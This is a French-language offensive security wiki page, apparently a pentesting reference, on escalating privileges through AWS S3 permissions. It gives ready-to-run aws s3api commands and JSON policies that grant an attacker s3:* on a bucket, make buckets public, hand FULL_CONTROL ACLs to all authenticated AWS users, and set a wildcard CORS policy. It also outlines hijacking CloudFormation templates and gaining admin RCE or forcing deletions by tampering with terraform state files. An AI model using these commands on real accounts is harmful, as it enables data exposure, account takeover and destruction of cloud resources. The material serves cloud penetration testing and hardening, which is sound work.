AWS - S3 Privesc

Reading time: 7 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaquant disposant de ces permissions sur des buckets intéressants pourrait être capable de hijack resources et escalate privileges.

Par exemple, un attaquant disposant de ces permissions sur un bucket cloudformation nommé "cf-templates-nohnwfax6a6i-us-east-1" pourra hijack the deployment. L'accès peut être donné avec la policy suivante:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Et le détournement est possible car il existe une petite fenêtre temporelle entre le moment où le template est uploadé dans le bucket et le moment où le template est déployé. Un attaquant peut simplement créer une lambda function dans son compte qui se déclenche lorsqu'une notification de bucket est envoyée, et détourne le contenu de ce bucket.

Le module Pacu cfn__resouce_injection peut être utilisé pour automatiser cette attaque.
Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Ce sont les permissions pour récupérer et uploader des objets dans S3. Plusieurs services au sein d'AWS (et en dehors) utilisent le stockage S3 pour conserver des fichiers de configuration.
Un attaquant avec un accès en lecture peut y trouver des informations sensibles.
Un attaquant avec un accès en écriture peut modifier les données pour abuser d'un service et tenter d'escalader des privilèges.
Voici quelques exemples :

• Si une instance EC2 stocke les données utilisateur dans un S3 bucket, un attaquant pourrait les modifier pour exécuter du code arbitraire à l'intérieur de l'instance EC2.

s3:PutObject, s3:GetObject (optional) over terraform state file

Il est très courant que les fichiers d'état de terraform soient sauvegardés dans le blob storage des fournisseurs cloud, par exemple AWS S3. Le suffixe d'un fichier d'état est .tfstate, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. Habituellement, chaque compte AWS possède un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte. De plus, dans des comptes réels, presque toujours tous les développeurs ont s3:* et parfois même des utilisateurs métiers ont s3:Put*.

Ainsi, si vous avez les permissions listées sur ces fichiers, il existe un vecteur d'attaque qui permet d'obtenir une RCE dans la pipeline avec les privilèges de terraform — la plupart du temps AdministratorAccess — ce qui fait de vous l'administrateur du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque de déni de service en forçant terraform à supprimer des ressources légitimes.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

Un attaquant, qui doit être du même compte (sinon l'erreur The specified method is not allowed sera déclenchée), avec cette permission pourra s'accorder davantage de droits sur le(s) bucket(s), lui permettant de lire, écrire, modifier, supprimer et exposer les buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attacker pourrait abuser de ces autorisations pour grant him more access sur des buckets spécifiques.
Notez que l'attacker n'a pas besoin d'être du même account. De plus, le write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attacker pourrait abuser de ces permissions pour s'octroyer un accès accru à des objects spécifiques dans des buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaquant disposant de ces privilèges devrait pouvoir appliquer un Acl à une version spécifique d'un objet.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d'un bucket, qui contrôle quels domaines web peuvent accéder à ses endpoints. S'ils définissent une politique permissive, n'importe quel site web pourrait effectuer des requêtes directes vers le bucket et lire les réponses depuis un navigateur.

Cela signifie que, potentiellement, si un utilisateur authentifié d'une application web hébergée depuis le bucket visite le site de l'attaquant, ce dernier pourrait exploiter la politique CORS permissive et, selon l'application, accéder aux données de profil de l'utilisateur voire détourner son compte.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'